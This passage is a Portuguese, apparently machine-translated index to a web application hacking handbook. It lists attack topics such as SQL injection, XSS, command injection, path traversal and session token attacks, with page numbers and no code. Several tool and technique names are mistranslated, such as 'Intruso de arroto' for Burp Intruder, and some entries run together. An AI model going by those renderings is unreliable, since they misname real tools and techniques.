bloqueio absoluto, 544-545
entrada do usuário, 543-544
OpenLDAP, 352
comandos do sistema operacional (comandos do sistema operacional)
Métodos da API do ASP.NET, 722-723
injeção, 358-368
ASP.net, 360-361
execução de código dinâmico, 362
execução dinâmica de código, vulnerabilidades, 366-367
falhas, 363-366
metodologia do hacker, 832-833
metacaracteres, 420
Linguagem Perl, 358-360
prevenção, 367-368
metacaracteres do shell, 363, 365
código-fonte, 708
espaços, 366
atraso de tempo, 363-364
Métodos da API Java, 715-716
Métodos da API da linguagem Perl, 738
Métodos da API do PHP, 731
reconhecimento óptico de caracteres (OCR), 611
Funções `OPTIONS`, 43
Método `OPTIONS`, 679-680
Solicitação de `OPTIONS`, 528 Oracle
atacantes de bancos de dados, 327
11g, 318
mensagens de erro, 334-338
canais fora de banda, 317-318
sintaxe, 332-334
atrasos de tempo, 323-324
Operador `UNION`, 307-308
Lista de exclusão de PL/SQL, 676-677
desvio do filtro de software do servidor da Web, 692-694
servidor da Web, 676-677
O Manual do Hacker Oracle (Litchfield), 693
oráculos. *Consulte* oráculo de criptografia
Cláusula `ORDER BY`, 295
Injeção de SQL, 301-302
Cabeçalhos `de origem`, 528-529
Comandos do sistema operacional. *Consulte* comandos do sistema operacional
OSRF. *Consulte* falsificação de solicitações no local atacantes de outros usuários, 431-432
mapeamento de aplicativos de canais fora de banda, entrada pontos de entrada, 101
Bancos de dados MS-SQL, 317
MySQL, 319
Bancos de dados Oracle, 317-318
Injeção de SQL, 316-319
indisponível, 319
entrega fora de banda, XSS, validação de saída 450
XSS baseado em DOM, 497-498
Injeção de cabeçalho HTTP, 536
XSS armazenado, XSS refletido, 493-495

P

ataque de oráculo de preenchimento, 626
.NET, 685-687
parâmetro `pageid`, 598 controles de acesso baseados em parâmetros, 265-266
provisões de consultas parametrizadas, 341
Injeção de SQL, 339-341
parâmetros
mapeamento de aplicativos, pontos de entrada, 99
oculto, mapeamento de aplicativos, 96-97
URL, transmissão de dados no lado do cliente, 121-122
método `parseResponse`, 585, 589
varredura passiva, 764-765 senhas
controles de acesso coletados por atacantes, 275-276
backdoor, 178-179
código-fonte, 708
técnicas de força bruta para wiki, 424
funcionalidade de mudança, 171-172, 193
falhas na lógica do aplicativo, 409-410
uso indevido, 199
nome de usuário, 172
armazenamento de texto não criptografado, 190-191
esquecido, 14, 584
funcionalidade, 173-175
adivinhação, 160
técnicas, 163-164
metodologia do hacker, adivinhação de
autenticação, 807
qualidade, 806
função de recuperação, 807-808
dicas, 174, 200
inicial previsível, 183
no mundo real, 163
recuperação
desafios, 173-174
metodologia do hacker, autenticação, 807-808
dicas, 200
uso indevido, 199-200
desafio secundário, 200
URLs com tempo limitado, 174-175
requisitos, 192
redefinição, 175
gerados pelo sistema, 192
truncado, 180-181
fraco, 161-162
cookies de restrição de caminho, 247-248 vulnerabilidades de passagem de caminho
Apple iDisk Server, 690
mapeamento de aplicativos, 371 atacantes
contornar obstáculos, 374-377
bem-sucedido, 374
metas, 370-371
causas, 368-369
sistema de arquivos `com raiz`, 380-381 codificação personalizada, 377-378
detecção, 372-374
teste inicial, 372
exploração, 379
descoberta, 370-378
metodologia do hacker, 833-835
filtros de entrada, 374-377
Microsoft IIS, 691-692
MySQL, 651
prevenção, 379-381
código-fonte, 706-707
sutileza, 370
UNIX comparado ao Windows, 374

entrada do usuário, 379-380
Indústria de cartões de pagamento (PCI), 7 Linguagem Perl
Métodos da API
acesso ao banco de dados, 737-738 execução dinâmica de código, 738 acesso a arquivos, 737
Execução de comandos do sistema operacional, 738
potencialmente perigoso, 736-739
soquetes, 739
Redirecionamento de URL, 738
função `eval`, 362
Injeção de comando do sistema operacional via, 358-360
configuração de segurança, 739-740
interação de sessão, 736
metacaracteres do shell, 360
entrada do usuário, 735-736
tokens por página, 252-253
cookies persistentes, 550
ataques de phishing, 541, 707 PHP
Métodos da API
acesso ao banco de dados, 729-730 execução dinâmica de código, 730-731
acesso a arquivos, 727-729
Execução de comandos do sistema operacional, 731
potencialmente perigoso, 727-732
soquetes, 732
Redirecionamento de URL, 731-732
função `eval`, 362
vulnerabilidades de inclusão de arquivos, 381-382
comando `mail()`, 398-399
modo de segurança, 666
configuração de segurança, 732-735
`magic_quotes-gpc` diretriz, 734
`register_globals` diretriz, 733
diretiva `safe_mode`, 733-734
interação de sessão, 727
arquiteturas em camadas, 653-654
entrada do usuário, 724-727
funcionalidade da web, 54-55
Extensão de arquivo `.php`, 108
`phpinfo.php`, 672
comando `ping`, 364
Acolchoamento PKC nº 5, 685
CBC, 686-687
Objeto Java antigo e simples (POJO), 53
Lista de exclusão de PL/SQL, Oracle, 676-677
desvio do filtro de software do servidor da Web, 692-694
POJO. *Consulte* varredura de porta
Plain Old Java Object, Java Script, 561, 566
Método `POST`, 43, 192
propósito, 264
Solicitação `POST`
Cabeçalho `Content-Length`, 581
Conversão de XSS, 474-475
PostgreSQL, 323
Cabeçalho `Pragma`, 42 senhas iniciais previsíveis, 183-184
tokens previsíveis, 213-223
Intruso de arroto, 213-214
sequências ocultas, 213-215
dependência de tempo, 215-217 número aleatório fraco
geração, 218-219
teste de qualidade, 219-223
função `preg_replace`, 730
declarações preparadas, 339-341
ataques à privacidade. *Consulte* privacidade local
privilégio de
ataques
armazenamentos de dados, 287
DBA, 325-326
escalonamento
horizontal, 258, 416
vertical, 258, 416 modelo de
múltiplas camadas
segurança dos controles de acesso, 280-283
atacantes, 283
`privs`, 295 prosseguindo para o checkout,
falhas na lógica do aplicativo, 410-411
controles de acesso programático, 282
Método `PROPFIND`, 679
registros de histórico de proxy, 769-771 servidores proxy. *Veja também* interceptação de proxies
metodologia do hacker, web servidores, 847
formulário HTML oculto modificação com interceptação, 119-120
HTTP, 49-50
HTTPS, 50
invisível, 138
servidores da web como, 682-683
serviços de proxy
captura de dados entre domínios, 529-531
GT, 530-531
Verme Jitko, 530-531
informações públicas
mensagens de erro, 623
metodologia do hacker, mapeamento de aplicativos, 796 descoberta de conteúdo oculto com, 89-91
Fóruns da Internet, 91
mecanismos de pesquisa para, 89 arquivos da Web para, 89-90
mensagens de erro de conteúdo publicado, 625
descoberta de conteúdo oculto com inferência de, 85-89
divulgação de informações, 625
Funções `PUT`, 43
Método `PUT`, 679-680

Q

parâmetro de `quantidade`, restringindo, 128
consultas
CGI, 735-736
filtros conjuntivos, 350
Injeção de LDAP, 352-353
filtros disjuntivos, 350
Injeção de LDAP, 351
parametrizado
provisões, 341
Injeção de SQL, 339-341
mecanismos de busca, 90
Consultas `SELECT`, `UNION` operador, 304-305
estrutura, injeção de SQL, 301-302

R

condições de corrida, 427
Rails 1.0, 55
RBAC. *Consulte* controle de acesso baseado em função
no mundo real
falhas de lógica de aplicativo, 406-407 falha de CSRF, 505
senhas, 163
XSS, 442-443
recompilação, código-fonte para bytecode
no navegador, 142-143
navegador externo, 143

ataques de redirecionamento. *Veja* as vulnerabilidades de redirecionamento aberto
controles de acesso baseados em referência, 266
Cabeçalho do `referenciador`, 41-42
transmissão de dados no lado do cliente, 122
Firefox, 239
Exploração de XSS via, 475-476
XSS refletido, 434-438
Apache, 442
cookies, 437-438
entrega, 448-449
DOM XSS convertido de, 472-473
exploração, 435-438, 474
filtros
defensivo, 455-456
higienização, 468-471
baseado em assinatura, 455-456
localização e exploração, 452-481
metodologia do hacker, 829-830
IE, 435
limites de comprimento, 471-473
prevenção, 492-496
Limitações do HTML, 495-496
inserção de entrada, 495
validação de entrada, 492-493
validação de saída, 493-495
função "remember me", 437
etapas, 436-437
XSS armazenado em comparação com, 439-440
teste de entrada do usuário, 453
introdução ao roteiro, 454-455
diretiva `register_globals`, 733
Abordagem "rejeitar o que é ruim", entrada, 23-24
Cookie `RemembeMe`, 407-408 funções "lembrar de mim
falhas de lógica de aplicativo, oráculo de criptografia, 407
autenticação, 175-176, 193
metodologia do hacker, 808
cookies, 175-176
criptografia, 177
XSS refletido, 437
atacantes remotos, 427
teste remoto de caixa preta, 427
inclusão remota de arquivo, 381-382
teste de falhas, 383
Remoção, 70
transferência de estado representacional (REST), URLs, 44-45
spidering, 74-75
falsificação de solicitações
CSRF, 8, 244, 504-511
tokens anti-CSRF, 508-509, 516-517
autenticação, 507-508
exploração de falhas, 506-507
metodologia do hacker, 820
prevenção de falhas, 508-510
falhas do mundo real, 505
gerenciamento de sessão, 251
XSS derrotando tokens anti-CSRF, 510-511
OSRF, 502-503
cabeçalhos de solicitação, 45-46
"solicitação no navegador", Burp Suite, 272-273
macros de solicitação, Burp Suite, 604-606
cabeçalhos de resposta, 46
REST. *Consulte* transferência de estado representacional
roubo de curso reverso, 560
ataques de rickrolling, 541
Rios, Billy, 485
`robots.txt`, 74
controle de acesso baseado em função (RBAC), 282
contratar seu próprio seguro, falhas na lógica do aplicativo, 412-413
Ruby on Rails (Ruby), 55
WEBrick, 690

S

abordagem de manuseio seguro de dados, entrada, 25
Registro "seguro para scripts", Controles ActiveX, 555-557
diretiva `safe_mode`, 733-734
política de mesma origem, 524-525
extensões de navegador, 525-527
Flash, 525-526
Java, 527
Silverlight, 526-527
metodologia do hacker, 851-852
HTML5, 528-529
funcionalidade da Web, 64
abordagem de sanitização, entrada, 24-25
filtros de sanitização, 468-471
varredura. *Consulte* vulnerabilidade scanners
Schuh, Justin, 634
Cookie `ScreenName`, 407-408
scripts. *Consulte também* cross-site criação de scripts
backdoor deliberado, 660-661
enumeração de identificadores, 576-577
mensagens de erro, 616-617
hacker's toolkit personalizado, 786-789
Curl, 788
Netcat, 788-789
Stunnel, 789
Wget, 788
Validação de formulário HTML, 129-131
injeção
metodologia do hacker, 835
prevenção de vulnerabilidades, 368
teste de entrada de usuário XSS refletido para introduzir, 454-455
atacante de token de sessão, 217 código de script
contornando filtros, 465-468
alternativas de caracteres de ponto, 466
cadeias de caracteres construídas dinamicamente, 466
codificação, 468
alternativas à função `eval`, 466
Escapamento de JavaScript, 465-466 técnica múltipla combinação, 466-467
VBScript, 467
VBScript e JavaScript, 467-468
HTML introduzindo CSS
avaliado dinamicamente estilos, 459
manipuladores de eventos, 457-458
pseudoprotocolos de script, 458
`etiquetas de script`, 457
pseudoprotocolos de script, 458
mecanismos de pesquisa
mensagens de erro, 623
inferência, 626
informações públicas, 89
consultas, 90
função de pesquisa
falhas na lógica do aplicativo, 422-424, 429
XSS armazenado, 439
Método `SEARCH`, 679 desafio secundário
função de login, 173, 200
recuperação de senha, 200
injeção de SQL de segunda ordem, 313-314

XSS de segunda ordem. *Consulte* perguntas secretas de XSS
armazenadas, função de login, 189
Certificação no lado do cliente
do Secure Socket Layer (SSL), 138
proteção de comunicação, 192
verificação da metodologia do hacker
para cifras fracas, 851
HTTP com túnel, 49
segurança, 7-8
tokens de sessão, 233
vulnerabilidades de, 8
segurança. *Veja também* defesa mecanismos
controles de acesso, 278-283
práticas recomendadas, 279-280 abordagem de componente central, 280
modelo de privilégio em várias camadas, 280-283
armadilhas, 278-279 falhas
na lógica do aplicativo, 428
ASP.NET
configuração, 723-724
`ViewState`, 155
ASPs, 665-667
segregação de componentes, 667
acesso do cliente, 665-666
funcionalidade do cliente segregação, 666
autenticação, 191-201
prevenção de ataques de força bruta, 196-199
sutilezas, 195
no lado do cliente, 431-432
transmissão de dados no lado do cliente, 154-156
registro e alerta, 156 validação, 155
evolução, 432
endurecimento, 695-696 cabeçalhos
HTTP e suposições com, 123
Configuração do Java, 716-717
foco na mídia, 432 Microsoft, 431-432
mitos, 433
Padrões PCI, 7
Configuração da linguagem Perl, 739-740
Configuração do PHP, 732-735
`magic_quotes-gpc` diretriz, 734
`register_globals` diretriz, 733
diretiva `safe_mode`, 733-734
perguntas, 650
reputação, 1
gerenciamento de sessões, 248-254
hospedagem compartilhada, 665-667
segregação de componentes, 667
acesso do cliente, 665-666
funcionalidade do cliente segregação, 666
SSL, 7-8
arquiteturas em camadas, 654-656
impacto do tempo e dos recursos, 11
geração de tokens, 210
consciência subdesenvolvida de, 10
aplicativo da Web, 1, 6-15
atacantes, 6
entendimento do desenvolvedor, 3
futuro, 14-15
fatores-chave, 10-12
novo perímetro de rede para, 12-14
ameaça à entrada do usuário, 9-10 vulnerabilidades, 7-8
configuração do servidor da Web, 684
software, 695-697
evolução do site e, 2 XSS, evolução, 433
`SELECT` valor `NULL`, `UNION` operador, 306-307
Consultas `SELECT`, operador `UNION`, 304-305
Declarações `SELECT`
Injeção de SQL, 294-295
Cláusula `WHERE`, 321
autorregistro, nomes de usuário, 182, 196
verificações semânticas, entrada, 25
caractere de ponto e vírgula, lote função, 363
serialização, 70 dados
serializados
extensões de navegador que interceptam a transmissão de dados, manuseio, 136-138
Java, 136-137
Flash, 137-138
Silverlight, 138
mensagens de erro do servidor, 619-622
Cabeçalho `do servidor`, 42
arquivos executáveis pelo servidor, 382 servidores. *Consulte* servidores da Web
lado do servidor
Redirecionamento de API, 392
funcionalidade
identificação de mapeamento de aplicativos, 106-110
ASP.NET, 54, 103
solicitações de dissecação, 107-108
Java, 53-54
PHP, 54-55
Ruby on Rails, 55
SQL, 55-56
extrapolação do comportamento de aplicativos da web, 109-110
isolamento de comportamento de aplicativos da Web, 110
serviços da web, 56-57
XML, 56
Redirecionamento de HTTP, 390-392
exploração, 391-392
tecnologias
mapeamento de aplicativos identificando, 101-106
captura de banners, 101
nomes de diretórios, 105
extensões de arquivo, 102-105
Impressão digital de HTTP, 102
tokens de sessão, 105 código de terceiros componentes, 105
sessões
ASP.NET, 719-720
fixação
injeção de cookie, 537-540
localização e exploração, 539-540
prevenção, 540
etapas, 537-538
metodologia do hacker
fixação, 819
encerramento, 818-819
metodologia do hacker, mapeamento de aplicativos, tokens para, 818
sequestro, 436
Alternativa à autenticação HTTP, 208-209
Java, 712-713
Linguagem Perl, 736
PHP, 727
manuseio de scanners de vulnerabilidade autônomos, 778-779
informações de estado gerenciadas sem, 209
rescisão, 241-243
reativo, 253-254
funcionalidade da Web, 66
gerenciamento de sessões. *Veja também*
alertas de controles de acesso, 253
falhas de lógica de aplicativo, 429 atacantes, 20
cookies, escopo liberal, 244-248

CSRF, 251
mecanismos de defesa que lidam com o acesso, 19-20
duração, 241-243
metodologia do hacker
transmissão insegura de tokens, 817
divulgação do registro do sistema de tokens, 817-818
tokens testados quanto ao significado, 815-816
tokens testados para previsibilidade, 816-817
compreensão, 814-815
registro em log, 253
função de login, 206
Função de logout, 242, 250
monitoramento, 253
segurança, 248-254
informações de estado, 206-209 tokens
geração de algoritmos, 249
scripts de invasores, 217
exposição do lado do cliente a sequestro de, 243-244
sequências ocultas, 213-215
bisbilhoteiros, 234
criptografia, 223-233
Cookies HTTP, 207-208, 234-236
HTTPS, 234-236, 250
proteção do ciclo de vida, 250-253 função de login, 539-540
significativo, 210-212
divulgação da rede, 234-237
por página, 252-253
previsível, 213-223
tecnologia no lado do servidor, 105
SSL, 233
força, 248-249 divulgação do registro do sistema, 237-239
dependência de tempo, 215-217
transmitindo, 538
Transmissão de URL, 250
em URLs, 237-238
mapeamento de vulnerabilidade, 240-241
geração de números aleatórios fracos, 218-219
teste de qualidade de números aleatórios fracos, 219-223
fraqueza na geração, 210-233
fraqueza no manuseio, 233-248
Vulnerabilidades de XSS, 243-244
usos, 205
manipulação de sessão. *Ver* falsificação de solicitação
mecanismos de tratamento de sessão Burp Suite
pote de biscoitos, 603-604
macros de solicitação, 604-606 regras de tratamento de sessão, 606-609
rastreador de tratamento de sessão, 609
suporte, 603-609 automação personalizada, 602-609
regras de tratamento de sessões, 606-609
rastreador de tratamento de sessão, 609
Parâmetro `SessionID`, 590
Cabeçalho `Set-Cookie`, 42, 47, 242, 244-245, 531
enumerando identificadores, 575
`setString` method, 340
hospedagem compartilhada, 656-657. *Veja também* atacantes de computação em nuvem, 658-665
acesso, 658-660
scripts de backdoor deliberados, 660-661
entre aplicativos da web, 660-663
metodologia do hacker, 845-846
segurança, 665-667
segregação de componentes, 667
acesso do cliente, 665-666
funcionalidade do cliente segregação, 666
ameaças, 657
hospedagem virtual, 657
analisadores de token compartilhados, suítes de teste integradas, 767
nomes de usuário compartilhados, 181
metacaracteres de shell, 359-360
falhas de lógica de aplicativo, 419 injeção de comando de sistema operacional, 363, 365
Linguagem Perl, 360
tipos, 363
The Shellcoder's Handbook (Anley & Heasman & Linder), 634
Conjunto de caracteres Shift-JIS, 464-465 comando `shutdown`, 315
filtros baseados em assinatura, refletidos XSS, 456-457
erros de assinatura, 641-642
Silverlight, 135
bytecode, 141
depuradores, 152
Armazenamento isolado, 553
política de mesma origem, 526-527
dados serializados, 138
Espião, 152

filtro de condições de
correspondência
simples, 350
Protocolo simples de acesso
a objetos (SOAP), 57
funções, 386
injeção, 386-388
aplicativo bancário, 387-388
mensagens de erro,
388 localização e
exploração, 389
metodologia do
hacker, 839
prevenção, 27, 390
NBFS, 138
registros de mapa do site,
769-771 SiteLock Active
Template
Biblioteca, Microsoft,
559 função sleep, MySQL,
323 smartcards,
autenticação, 206
Injeção de SMTP, 397-402
falhas, 400-401
metodologia do hacker, 836-837
prevenção, 402
ataque de sniper, Burp
Intruder, 592 SOAP.
Consulte Acesso simples a
objetos
Soquetes
de protocolo
Métodos da API do
ASP.NET, 723
Java, 716
Métodos da API da
linguagem Perl,
739
Métodos da API do
PHP, 732 código-fonte
falhas de lógica de
aplicativo, 428 senha
de backdoor, 708
navegação, 743
estouro de buffer, 709
recompilação de
bytecode
no navegador, 142-143
navegador externo, 143
comentários, 710-711
navegador de
descompilação
extensões, 142-144
mensagens de erro, 623
vulnerabilidades de string
de formato, 710
vulnerabilidades de inteiros,
709-710 bugs de software
nativo, 709-710
redirecionamento aberto
vulnerabilidades,
707-708 injeção de
comando do sistema
operacional, 708
vulnerabilidades de
passagem de caminho,
706-707
revisão
abordagens, 702-704
caixa preta *versus*
caixa
branca, 702-
703
metodologia, 703-704
situações, 701

assinaturas de vulnerabilidades comuns, 704-711
Injeção de SQL, 705-706
XSS, 704-705
aranha
URLs REST, 74-75
direcionado ao usuário, 77-80
benefícios, 77
descoberta de conteúdo oculto com, 81-83
comparação com a web, 79 web, 74-77
autenticação, 76 conjuntos de testes integrados, 760-762
spidering direcionado ao usuário em comparação com, 79
SQL. *Consulte* Structured Query Language (Linguagem de consulta estruturada*)*
SQLMap, 322
opção `sql-shell`, 330-331
SQLzoo.net, 292
SSL. *Consulte* Secure Socket Layer transbordamentos de pilha, 634-635 rastreamentos de pilha
ASP.NET, 617
mensagens de erro, 617-618
vulnerabilidade autônoma scanners, 773-784
automatizados *versus* scanners de usuário direcionado, 784
automação personalizada, 780-781
efeitos perigosos, 779
funcionalidade de individuação, 779-780
limitações, 776-777
produtos, 781-782
desafios técnicos, 778-781
autenticação e sessão manuseio, 778-779
usando, 783-784
vulnerabilidades detectadas, 774-776
vulnerabilidades não detectadas, 775 informações de estado
gerenciamento de sessões, 206-209
sem sessões, 209
funcionalidade da Web, 66 recursos estáticos
controles de acesso, 263-264
teste de contas, 277
inclusão de arquivos, 382
esquemas de nomenclatura, 87
tokens estáticos, 240
teste de hipóteses estatísticas, 219-222
códigos de status, HTTP, 48-49
enumerando identificadores, 574
armazenamento. *Consulte* armazenamento na Web, nuvem computação de procedimentos
armazenados
bancos de dados, 339
metodologia do hacker, 831-832
XSS armazenado, 438-440
etapas do atacante, 438-439
entrega, 449-450
teste de e-mail, 483-484
descoberta e exploração, 481-487
MySpace, 442-443, 446
prevenção, 492-496
Limitações do HTML, 495-496
inserção de entrada, 495
validação de entrada, 492-493
validação de saída, 493-495 XSS
refletido em comparação com, 439-440
função de pesquisa, 439
teste de arquivos carregados, 484-487 Ajax, 486-487
Arquivos GIFAR, 485-486
dados de cadeia
construído dinamicamente, código de script que ignora filtros, 466
manipulação, 316
Injeção de SQL em, 298-299
função `string-length()`, 348
função `strncpy`, 642 strokejacking, 511. *Consulte também* usuário ataques de reparação de interface reversa, 560
Linguagem de consulta estruturada (SQL)
injeção no lado do cliente, 547-548
comentários, 312
injeção, 7, 14
exploração avançada, 314-324
Métodos de API, 291 falhas de lógica de aplicativo, 420-422
cego, 626
insetos, 298-302
no lado do cliente, 547-548
nome da coluna, 301-302
erros condicionais, 320-322
componentes de código de banco de dados, 741-742
defesa em profundidade, 342
Declarações `DELETE`, 297-298
hífen duplo, 293
mensagens de erro, 334-338
ferramentas de exploração, 328-331
desvio de filtro, 311-313
bancos de dados de impressões digitais, 303-304
metodologia do hacker, 827-829
inferência, 319-324
validação de entrada contornado, 312
Instruções `INSERT`, 295-296
Erros de JavaScript, 299
dados numéricos, 299-301, 315-316
Cláusula `ORDER BY`, 301-302
canal fora de banda, 316-319
consultas parametrizadas, 339-341
prevenção, 27, 338-342
estrutura de consulta, 301-302
de segunda ordem, 313-314
Instruções `SELECT`, 294-295
código-fonte, 705-706
dados de cadeia, 298-299
sintaxe, 332-334
atrasos de tempo, 322-324
Operador `UNION`, 304-308
Extração de dados do operador `UNION`, 308-311
Declarações `UPDATE`, 296-297
Codificação de URL, exploração de vulnerabilidade 300-301, 292-294
funcionalidade da Web, 55-56
tokens estruturados, 210-212
Stunnel, 789
Funções `SUBSTR(ING)`, 324
suspensão de conta, 197-198
Arquivos `.swf`, 141
validação sintática, 25
divulgação do registro do sistema
metodologia do hacker, gerenciamento de sessão, 817-818
tokens de sessão, 237-239
vulnerabilidades, 238

T

colchetes de tag, HTML ignorando filtros, 462-464
nome da tag, HTML contornando filtros, 460-461
`etiquetas de script`, 457
Dados de violação, 772
TamperIE, 772-773
Protocolo TCP, HTTP usando, 40
testes. *Consulte* teste de conta; metodologia do hacker; kit de ferramentas do hacker; teste de hipóteses estatísticas
aplicativos de terceiros, 560-561

301 Moved Permanently, 48
302 Encontrado, 48
técnicas de força bruta, 84
304 Não modificado, 48
arquiteturas em camadas, 647
ataques, 648-654
categorias, 648-649 segregação de componentes, 655-656
defesa em profundidade, 656 Java, 648
camadas, 648
PHP, 653-654
segurança, 654-656
subvertendo, 650-654
algoritmos de descriptografia, 650 inclusão de arquivo local executando comandos, 652-654
Extração do MySQL, 650-652
relações de confiança, 649-650
acesso, 649
minimizar, 654-655
tempo
atrasos
enumerando identificadores, 575-576
Bancos de dados Oracle, 323-324 Injeção de comando do sistema operacional, 363-364
Injeção de SQL, 322-324
geração de token de sessão, 215-217
tempo de verificação, falha de tempo de uso (falha TOCTOU), 505
TOCTOU falha. *Consulte* falha de tempo de verificação, falha de tempo de uso
tokens
anti-CSRF, 508-509
XSS derrotando, 510-511
autenticação, 160 Teste do Burp Sequencer aleatoriedade de, 219-221
atacantes de computação em nuvem, 665 criptografia, 223-233
atacantes, 232-233
Virador de bits Burp Intruder, 228-231
CBC, 227-233
download, 231-232
Cifras ECB, 224-226 oráculo de criptografia "reveal", 232
geração de forte, 248-249
metodologia do hacker, mapeamento de aplicativos, sessões para, 818
metodologia do hacker, gerenciamento de sessões
transmissão insegura, 817
divulgação do registro do sistema, 817-818
testados quanto ao significado, 815-816 testados quanto à previsibilidade, 816-817
por página, 252-253
gerenciamento de sessão
geração de algoritmos, 249
scripts de invasores, 217
exposição do lado do cliente a sequestro de, 243-244
sequências ocultas, 213-215
bisbilhoteiros, 234
criptografia, 223-233 cookies
HTTP para, 207-208, 234-236
HTTPS, 234-236, 250
proteção do ciclo de vida, 250-253 função de login, 539-540
significativo, 210-212
divulgação da rede, 234-237
por página, 252-253
previsível, 213-223 segurança, geração de, 210 tecnologias do lado do servidor, 105
força, 248-249
divulgação do registro do sistema, 237-239
transmitindo, 538
Transmissão de URL, 250
em URLs, 237-238
mapeamento de vulnerabilidade, 240-241
fraqueza na geração, 210-233
fraqueza no manuseio, 233-248
Vulnerabilidades de XSS, 243-244 analisadores compartilhados, integrados suítes de teste, 767
SSL, 233
estático, 240
estruturado, 210-212
dependência de tempo, 215-217
número aleatório fraco geração, 218-219
qualidade de número aleatório fraco testes, 219-223
Funções TRACE, 43
lógica de transação, 844
Injeção de trojan, ataque XSS cargas úteis, 444-445
relações de confiança
metodologia de hackers, falhas de lógica de aplicativos, 844
arquiteturas em camadas
acesso, 649
exploração, 649-650
minimizar, 654-655
Exploração de cargas úteis de ataque XSS, 446-447
blocos try-catch, 30
200 OK, 48
201 Criado, 48

U

UDFs. *Consulte* funções definidas pelo usuário Ataques de reparação de IU. *Consulte* usuário ataques de reparação de interface
parâmetro uid, 584, 590
erros não tratados, 30-31
Codificação Unicode, 67-68
Burp Intruder, 375
identificador uniforme de recursos (URI), 44
redirecionamento aberto vulnerabilidades, prefixo absoluto, 545-546
ativação de conta de localizador uniforme de recursos (URL), 184
mapeamento de aplicativos, entrada pontos de entrada, 98-99
estouro de buffer e comprimento de, 639
bytecode, 140
codificação, 67
Injeção de SQL, 300-301
truncamento, 378
formato, 44
Solicitações HTTP, 40, 44
redirecionamento aberto vulnerabilidades, 542
prefixo absoluto, 545-546
bloqueio absoluto, 544-545
parâmetros, dados do lado do cliente transmissão, 121-122
recuperação de senhas com tempo-limitado, 174-175
redirecionamento
Métodos da API do ASP.NET, 723 Métodos da API do Java, 716
Métodos da API da linguagem Perl, 738
Métodos da API do PHP, 731-732 REST, 44-45
aranha, 74-75
tokens de sessão, 237-238, 250
ataques de tradução, 396-397
Operador UNION
Condições booleanas, 329
mensagens de erro, 306
Valor NULL, 306-307
Bancos de dados Oracle, 307-308

ressalvas, 305-306
SELECT valor NULL, 306-307
Consultas SELECT, 304-305
Injeção de SQL, 304-308
extração de dados, 308-311
UNIX
sistema de arquivos com raiz, 381
Passagem de caminho do Windows vulnerabilidades em comparação com, 374
Instruções UPDATE, 296-297
arquivos carregados, XSS armazenado
testes, 484-487
Ajax, 486-487
Arquivos GIFAR, 485-486
URI. *Consulte* identificador uniforme de recursos
URL. *Consulte* localizador uniforme de recursos
US-ASCII, 464
acesso do usuário. *Consulte* acessar a entrada do usuário. *Consulte também* entrada
Métodos da API do ASP.NET para, 718-719
controles no lado do cliente, 117
extensões de navegador, 133-153
metodologia do hacker, 801-802
Formulários HTML, 127-133
Java, 711-712
Métodos de API, 712
redirecionamento aberto vulnerabilidades, 543-544
vulnerabilidades de passagem de caminho, 379-380
Linguagem Perl, 735-736
PHP, 724-727
teste de XSS refletido, 453
introdução de script, 454-455
segurança de aplicativos da Web ameaçada por, 9-10
ataques de reparação da interface do usuário (ataques de reparação da interface do usuário), 508, 511-515
forma básica, 511-513
quebra de estrutura, 514-515
dispositivos móveis, 515
prevenção, 515
variações, 513
Cabeçalho User-Agent, 41, 52
direcionamento, 100
userData, IE, 554
funções definidas pelo usuário (UDFs), 328
spidering direcionado ao usuário, 77-80
benefícios, 77
descoberta de conteúdo oculto com, 81-83
Web spidering em comparação com, 79
buffer _username, 635-637 nomes de usuário
controles de acesso coletados por atacantes, 275-276
atacantes, 168
endereço de e-mail, 167, 196
enumeração, 166-169
metodologia do hacker, enumeração de
autenticação, 806-807
exclusividade, 809
não exclusivo, 181-182
funcionalidade de alteração de senha, 172
previsível, 182-183, 197
auto-registro, 182, 196
compartilhada, 181
fontes, 169
gerados pelo sistema, 192
UTF-7, 464
UTF-16, 464-465
Pacote UTL-HTTP, 317-318

V

Função ValidateForm, 130
Cláusula VALUES, 295-296
atribuição de variável, JavaScript sequestro, 522
VBScript
mensagens de erro, 616
código de script que ignora filtros, 467
JavaScript com, 467-468
funcionalidade da web, 61
patches de fornecedores, servidores da Web, 695 mensagens de depuração detalhadas, 425 mensagem de erro detalhada, 30-31, 624
mensagens de falha detalhadas, 166-169
controles de acesso verticais, 258
escalonamento vertical de privilégios, 258, 416
ViewState, atacantes
de ASP.NET, 127
Codificação Base64, 125-126
Suíte Burp, 126
transmissão de dados no lado do cliente, 124-127
finalidade, 125
segurança, 155
desfiguração virtual, cargas úteis de ataques XSS, 443-444
hospedagem virtual
Apache, 683
metodologia do hacker, servidores da Web, 847-848
hospedagem compartilhada, 657
servidores da web mal configurados, 683
máquinas virtuais (VMs), 145
sandbox, 153
rede privada virtual (VPN), 659
VMs. *Consulte* máquinas virtuais
VPN. *Consulte* scanners de vulnerabilidade de rede privada virtual
suítes de teste integradas, 764-765
autônomo, 773-784
autônoma, 773-784
automatizada *versus* automatizada pelo usuário direcionado, 784
automação personalizada, 780-781
efeitos perigosos, 779
funcionalidade de individuação, 779-780
limitações, 776-777
produtos, 781-782
desafios técnicos, 778-781
usando, 783-784
vulnerabilidades detectadas, 774-776
vulnerabilidades não detectadas, 775

W

WAFs. *Consulte* firewalls de aplicativos da Web
Comando WAITFOR, MS-SQL, 322-323
Arquivos WAR, 673-676
warez, distribuindo, 2
WayBack Machine, 89
WCF. *Veja* Windows Fundação de Comunicação
senhas fracas, 161-162
web 2.0, 14
vulnerabilidades, 65
desvio de firewalls de aplicativos da Web (WAFs), 698
metodologia do hacker, servidores da Web, 848-849
Bytes NULL, 460
servidores da Web, 697-698 aplicativos da Web. *Veja também* metodologia do hacker; kit de ferramentas do hacker
funções administrativas em, 35-36

Atacantes ASP entre, 660-663
comportamento
extrapolação, 109-110
isolando, 110
benefícios, 5-6
negócios, 4
computação em nuvem, 5
desenvolvimento
personalizado, 10 confiança
do armazenamento de
dados, 287 simplicidade
enganosa, 10-11
evolução, 2-3
falhas de estrutura, 685-687
funções, 4-5
demandas crescentes, 12
gerenciamento, 35-36
sobrecarregado, 11-12
páginas, caminhos funcionais
versus, 93-96
segurança, 1, 6-15
atacantes, 6
entendimento do
desenvolvedor, 3
futuro, 14-15
fatores-chave, 10-12
novo perímetro de rede para,
12-14
ameaça à entrada do usuário,
9-10 vulnerabilidades, 7-8
atacantes de hospedagem
compartilhada entre, 660-
663
desenvolvimento de tecnologias,
6
de terceiros, 560-561
ameaças a, 3
em rápida evolução, 11
XPath subvertendo a lógica
de,
345-346
arquivos da web, públicos
informações, 89-90
navegadores da web. *Consulte também* extensões de
